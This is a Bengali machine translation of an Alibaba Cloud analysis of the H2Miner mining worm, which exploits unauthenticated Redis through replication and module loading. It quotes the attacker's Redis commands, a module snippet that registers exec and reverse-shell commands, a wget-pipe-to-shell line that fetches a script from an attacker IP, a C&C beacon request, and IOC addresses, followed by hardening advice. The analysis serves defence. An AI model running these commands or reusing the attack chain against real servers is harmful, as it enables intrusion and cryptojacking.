H2Miner কৃমির একটি নতুন প্রাদুর্ভাব আবিষ্কৃত হয়েছে যা Redis RCE শোষণ করে

একদিন আগে, আমার প্রজেক্টের সার্ভারের একটি একই রকম কীট দ্বারা আক্রান্ত হয়েছিল। "ওটা কি ছিল?" প্রশ্নের উত্তরের সন্ধানে আমি আলিবাবা ক্লাউড সিকিউরিটি টিমের একটি দুর্দান্ত নিবন্ধ পেয়েছি। যেহেতু আমি হাব্রেতে এই নিবন্ধটি খুঁজে পাইনি, তাই আমি এটি বিশেষ করে আপনার জন্য অনুবাদ করার সিদ্ধান্ত নিয়েছি <3

প্রবেশ

সম্প্রতি, আলিবাবা ক্লাউডের নিরাপত্তা দল H2Miner-এর আকস্মিক প্রাদুর্ভাব আবিষ্কার করেছে। এই ধরনের দূষিত কীট আপনার সিস্টেমের গেটওয়ে হিসাবে Redis-এর জন্য অনুমোদনের অভাব বা দুর্বল পাসওয়ার্ড ব্যবহার করে, তারপরে এটি মাস্টার-স্লেভ সিঙ্ক্রোনাইজেশনের মাধ্যমে স্লেভের সাথে তার নিজস্ব দূষিত মডিউল সিঙ্ক্রোনাইজ করে এবং অবশেষে এই দূষিত মডিউলটিকে আক্রমণ করা মেশিনে ডাউনলোড করে এবং দূষিত কার্য সম্পাদন করে। নির্দেশাবলী

অতীতে, আপনার সিস্টেমে আক্রমণগুলি প্রাথমিকভাবে নির্ধারিত কাজগুলি বা SSH কীগুলির সাথে জড়িত একটি পদ্ধতি ব্যবহার করে পরিচালিত হয়েছিল যা আক্রমণকারী রেডিস-এ লগ ইন করার পরে আপনার মেশিনে লেখা হয়েছিল। সৌভাগ্যবশত, অনুমতি নিয়ন্ত্রণের সমস্যা বা বিভিন্ন সিস্টেম সংস্করণের কারণে এই পদ্ধতিটি প্রায়শই ব্যবহার করা যায় না। যাইহোক, একটি দূষিত মডিউল লোড করার এই পদ্ধতিটি সরাসরি আক্রমণকারীর আদেশগুলি কার্যকর করতে পারে বা শেলটিতে অ্যাক্সেস পেতে পারে, যা আপনার সিস্টেমের জন্য বিপজ্জনক।

ইন্টারনেটে হোস্ট করা বিপুল সংখ্যক রেডিস সার্ভারের কারণে (প্রায় 1 মিলিয়ন), আলিবাবা ক্লাউডের নিরাপত্তা দল, একটি বন্ধুত্বপূর্ণ অনুস্মারক হিসাবে, ব্যবহারকারীদের রেডিস অনলাইনে শেয়ার না করার পরামর্শ দেয় এবং নিয়মিত তাদের পাসওয়ার্ডের শক্তি এবং সেগুলি আপস করা হয়েছে কিনা তা পরীক্ষা করে দেখুন। দ্রুত নির্বাচন।

H2 Miner

H2Miner হল Linux-ভিত্তিক সিস্টেমগুলির জন্য একটি মাইনিং বটনেট যা আপনার সিস্টেমকে বিভিন্ন উপায়ে আক্রমণ করতে পারে, যার মধ্যে Hadoop সুতা, ডকার, এবং Redis রিমোট কমান্ড এক্সিকিউশন (RCE) দুর্বলতাগুলির অনুমোদনের অভাব রয়েছে৷ একটি বটনেট আপনার ডেটা মাইন করার জন্য দূষিত স্ক্রিপ্ট এবং ম্যালওয়্যার ডাউনলোড করে কাজ করে, আক্রমণটি অনুভূমিকভাবে প্রসারিত করে এবং কমান্ড এবং নিয়ন্ত্রণ (C&C) যোগাযোগ বজায় রাখে।

Redis RCE

ZeroNights 2018-এ পাভেল টপোরকভ এই বিষয়ে জ্ঞান ভাগ করেছেন। সংস্করণ 4.0-এর পরে, Redis একটি প্লাগ-ইন লোডিং বৈশিষ্ট্য সমর্থন করে যা ব্যবহারকারীদের লোড করার ক্ষমতা দেয় যাতে C এর সাথে Redis-এ সংকলিত ফাইলগুলি নির্দিষ্ট Redis কমান্ড কার্যকর করতে পারে। এই ফাংশনটি, যদিও দরকারী, একটি দুর্বলতা রয়েছে যেখানে, মাস্টার-স্লেভ মোডে, ফাইলগুলি ফুলরেসিঙ্ক মোডের মাধ্যমে স্লেভের সাথে সিঙ্ক্রোনাইজ করা যেতে পারে। এটি একটি আক্রমণকারী দ্বারা ক্ষতিকারক ফাইল স্থানান্তর করতে ব্যবহার করা যেতে পারে। স্থানান্তর সম্পূর্ণ হওয়ার পরে, আক্রমণকারীরা আক্রমণকৃত রেডিস উদাহরণে মডিউলটি লোড করে এবং যে কোনও কমান্ড চালায়।

ম্যালওয়্যার ওয়ার্ম বিশ্লেষণ

সম্প্রতি, আলিবাবা ক্লাউড সিকিউরিটি টিম আবিষ্কার করেছে যে H2Miner দূষিত মাইনার গ্রুপের আকার হঠাৎ করে নাটকীয়ভাবে বেড়েছে। বিশ্লেষণ অনুসারে, আক্রমণের সাধারণ প্রক্রিয়াটি নিম্নরূপ:

H2Miner সম্পূর্ণ আক্রমণের জন্য RCE Redis ব্যবহার করে। আক্রমণকারীরা প্রথমে দুর্বল পাসওয়ার্ড সহ অরক্ষিত রেডিস সার্ভার বা সার্ভারগুলিতে আক্রমণ করে।

তারপর তারা কমান্ড ব্যবহার করে config set dbfilename red2.so ফাইলের নাম পরিবর্তন করতে। এর পরে, আক্রমণকারীরা আদেশটি কার্যকর করে slaveof মাস্টার-স্লেভ রেপ্লিকেশন হোস্ট ঠিকানা সেট করতে।

যখন আক্রমণ করা Redis উদাহরণ আক্রমণকারীর মালিকানাধীন ক্ষতিকারক Redis-এর সাথে একটি মাস্টার-স্লেভ সংযোগ স্থাপন করে, তখন আক্রমণকারী ফাইলগুলিকে সিঙ্ক্রোনাইজ করতে fullresync কমান্ড ব্যবহার করে সংক্রামিত মডিউল পাঠায়। red2.so ফাইলটি তারপর আক্রমণ করা মেশিনে ডাউনলোড করা হবে। আক্রমণকারীরা তারপর এই তাই ফাইলটি লোড করতে ./red2.so লোডিং মডিউল ব্যবহার করে। মডিউল আক্রমণকারীর কাছ থেকে কমান্ড চালাতে পারে বা আক্রমণ করা মেশিনে অ্যাক্সেস পেতে একটি বিপরীত সংযোগ (ব্যাকডোর) শুরু করতে পারে।

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

যেমন একটি দূষিত আদেশ কার্যকর করার পরে / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, আক্রমণকারী ব্যাকআপ ফাইলের নাম রিসেট করবে এবং ট্রেসগুলি পরিষ্কার করতে সিস্টেম মডিউলটি আনলোড করবে। যাইহোক, red2.so ফাইলটি এখনও আক্রমণ করা মেশিনে থাকবে। ব্যবহারকারীদের তাদের Redis উদাহরণের ফোল্ডারে এই ধরনের একটি সন্দেহজনক ফাইলের উপস্থিতির দিকে মনোযোগ দেওয়ার পরামর্শ দেওয়া হচ্ছে।

সম্পদ চুরি করার জন্য কিছু দূষিত প্রক্রিয়াকে হত্যা করার পাশাপাশি, আক্রমণকারী দূষিত বাইনারি ফাইল ডাউনলোড এবং কার্যকর করার মাধ্যমে একটি দূষিত স্ক্রিপ্ট অনুসরণ করেছিল 142.44.191.122/কিনসিং. এর মানে হল যে প্রক্রিয়ার নাম বা ডিরেক্টরির নাম হোস্টে কিনসিং রয়েছে তা নির্দেশ করতে পারে যে মেশিনটি এই ভাইরাস দ্বারা সংক্রমিত হয়েছে।

বিপরীত প্রকৌশল ফলাফল অনুযায়ী, ম্যালওয়্যার প্রধানত নিম্নলিখিত ফাংশন সঞ্চালন করে:

• ফাইল আপলোড করা এবং তাদের নির্বাহ করা
• খনির
• C&C যোগাযোগ বজায় রাখা এবং আক্রমণকারী কমান্ড কার্যকর করা

আপনার প্রভাব প্রসারিত করতে বাহ্যিক স্ক্যানিংয়ের জন্য masscan ব্যবহার করুন। উপরন্তু, প্রোগ্রামে C&C সার্ভারের IP ঠিকানা হার্ড-কোডেড, এবং আক্রমণ করা হোস্ট HTTP অনুরোধগুলি ব্যবহার করে C&C কমিউনিকেশন সার্ভারের সাথে যোগাযোগ করবে, যেখানে জম্বি (আপস করা সার্ভার) তথ্য HTTP হেডারে চিহ্নিত করা হয়েছে।

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

অন্যান্য আক্রমণ পদ্ধতি

কীট দ্বারা ব্যবহৃত ঠিকানা এবং লিঙ্ক

/ kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

কাউন্সিল

প্রথমত, Redis ইন্টারনেট থেকে অ্যাক্সেসযোগ্য হওয়া উচিত নয় এবং একটি শক্তিশালী পাসওয়ার্ড দিয়ে সুরক্ষিত করা উচিত। এটিও গুরুত্বপূর্ণ যে ক্লায়েন্টরা পরীক্ষা করে দেখুন যে Redis ডিরেক্টরিতে কোনও red2.so ফাইল নেই এবং হোস্টে ফাইল/প্রসেস নামে কোনও "কিনসিং" নেই।

উত্স: www.habr.com